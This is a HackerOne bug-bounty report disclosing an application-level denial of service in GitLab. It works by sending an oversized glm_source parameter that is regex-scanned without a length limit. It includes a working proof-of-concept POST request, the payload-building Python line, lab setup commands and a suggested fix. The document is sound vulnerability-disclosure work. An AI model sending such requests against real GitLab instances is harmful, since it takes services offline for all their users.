Application-level Denial of Service via sending a large `glm_source` parameter
HackerOne report #2634880 by sim4n6 on 2024-08-01, assigned to @ngeorge1:
Report | Attachments | How To Reproduce
Report
Summary
I identified an application-level denial of service that could be triggered remotely by crafting a specific POST request. Sending such a request to a GitLab instance hosted on a VPS under the stress conditions of DoS leads the instance to reboot some process.
Under the hood, the issue comes from this one line of code only:
locale = params[:glm_source].scan(%r{(\w{2})-(\w{2})}).flatten
What happens here is that the incoming glm_source value is being trusted and a scan() method call is immediately operated on it and then flattened. But no limit on the size is set for the incoming data, this is because the developer expected the value to come from a GET's path request with the limitations that applies.
I managed to weaponize a POST request to meet the conditions to run that specific line of code.
The final proof of concept is similar to this one:
POST /users/sign_in HTTP/1.1
Host: gitlab.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Cookie: known_sign_in=WWtQSktNOTFacGJyLzR5K3crR245Qzlyc0ZHbmh1VCt4RnBkTlpjWTA5REUrTld6Wk5LbWZUd2tLOVo0eGtiVkJaRlltcU5FVEMrWklMYkkrMDNyTzFVV3ZBUTRCU2NzR2JpVDJGK3ZIbnhraWwxaFFsQ29HbmxMalhYTjNFdEQtLW5mMCtIY3pJUDZZRWNSVXlLNFRsVnc9PQ%3D%3D--4c7291451ca185d6db75c049f30e023099bcab50; hide_no_ssh_message=false; hide_auto_devops_implicitly_enabled_banner_1=false; hide_auto_devops_implicitly_enabled_banner_2=false; _gitlab_session=93d4a1e92ad912e9993df049b59c0eff____ANYTHING;
Accept-Encoding: gzip, deflate, br
Content-Length: 43
_method=get&glm_source=gitlab.com%2Faa-b%2F
What is specific about this ordinary POST request is that it does marketing_site_language in the following code :
def preferred_language
cookies[:preferred_language].presence_in(Gitlab::I18n.available_locales) ||
selectable_language(marketing_site_language) ||
selectable_language(browser_languages) ||
Gitlab::CurrentSettings.default_preferred_language
end
Which means :
- the preferred_language cookie was deleted from the POST request.
- the header like Accept-Language: en-US,en;q=0.5 was deleted too.
- the user is not logged in as the _gitlab_session cookie corresponds to anything.
When such a POST request hits a GitLab instance the vulnerable line would be triggered and would scan the value of glm_source for all possible locales (strings like fr-fr or jp-JP or en-US) which means any two letters associated with another two letters separated by a hyphen.
Imagine the impact now, if the following python code is used
glm_source = "gitlab.com/" + "aa-bb" * 10_000_000 + "/"
it would scan 10 million characters for duo-duo and flatten them inside a list.
Steps to reproduce
- I set up a VPS instance for Gitlab with the following stress conditions:
to do so:
apt-get update
apt-get upgrade -y
apt-get install -y curl openssh-server ca-certificates
curl https://packages.gitlab.com/install/repositories/gitlab/gitlab-ee/script.deb.sh | bash
apt-get update
EXTERNAL_URL="http://gitlab.example.com" apt-get install gitlab-ee
gitlab-ctl reconfigure
and
### add the VPS public IP to the local /etc/hosts so that it can recognize gitlab.example.com to point to the GitLab isntance.
nano /etc/hosts
209.38.64.67 gitlab.example.com
After a gitlab instance reconfiguration it would take a while and then you can access it at gitlab.example.com.
One more details, the root admin password is supposed to be printed to the console otherwise
cat /etc/gitlab/initial_root_password
use that specific login to create a different user if you want (The point of this step is to showcase that the impact of the attack is on all users).
- I set up a different VPS instance to emulate a separate attacker's instance.
- I hosted the file
in the attacker instance. This python script craft the POST request to hit an instance located at 209.38.64.67 with a command similar to :
python3 send_DoS.py 10_000_000
for that to be successful, you need to install the python module aiohttp on the attacker instance with pip3 install aiohttp
Impact
When you run the send_DoS.py file on the separate attacker's instance, you shall get something similar to :
The 20 requests sent a minute or so, successfully caused a denial of service.
Examples
-
If the bug is project related, please create an example project and export it using the project export feature: nope
-
If you are using an older version of GitLab, this will also help determine whether the bug has been fixed in a more recent version: latest.
-
If the bug can be reproduced on GitLab.com without violating the
Rules of Engagementas outlined in the program policy, please provide the full path to the project.: I did not engage with gitlab.com but I am sure it is gonna work.
What is the current bug behavior?
- it causes a denial of service a complete instance disconnect and reboot.
What is the expected correct behavior?
- the incoming glm_source value should be limited by a maximum of 1_000 characters.
Relevant logs and/or screenshots
- the screenshots are attached above.
Output of checks
- If you are reporting a bug on GitLab.com, write: This bug happens on GitLab.com : did not test, but I am willing to do so if you want.
Results of GitLab environment info
- For installations with omnibus-gitlab package run and paste the output of:
sudo gitlab-rake gitlab:env:info
System information
System: Ubuntu 24.04
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 3.1.5p253
Gem Version: 3.5.11
Bundler Version:2.5.11
Rake Version: 13.0.6
Redis Version: 7.0.15
Sidekiq Version:7.1.6
Go Version: unknown
GitLab information
Version: 17.2.1-ee
Revision: 88793996279
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 14.11
URL: http://gitlab.example.com
HTTP Clone URL: http://gitlab.example.com/some-group/some-project.git
SSH Clone URL: git@gitlab.example.com:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 14.37.0
Repository storages:
- default: unix:/var/opt/gitlab/gitaly/gitaly.socket
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Gitaly
- default Address: unix:/var/opt/gitlab/gitaly/gitaly.socket
- default Version: 17.2.1
- default Git Version: 2.45.2
Impact
Detailed previously.
Regards
[@]sim4n6
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
- image.png
- image.png
- send_DoS.py
- Screenshot_from_2024-08-01_11-48-24.png
- Screenshot_from_2024-08-01_11-48-35.png
- Screenshot_from_2024-08-01_11-49-01.png
How To Reproduce
Please add reproducibility information to this section:




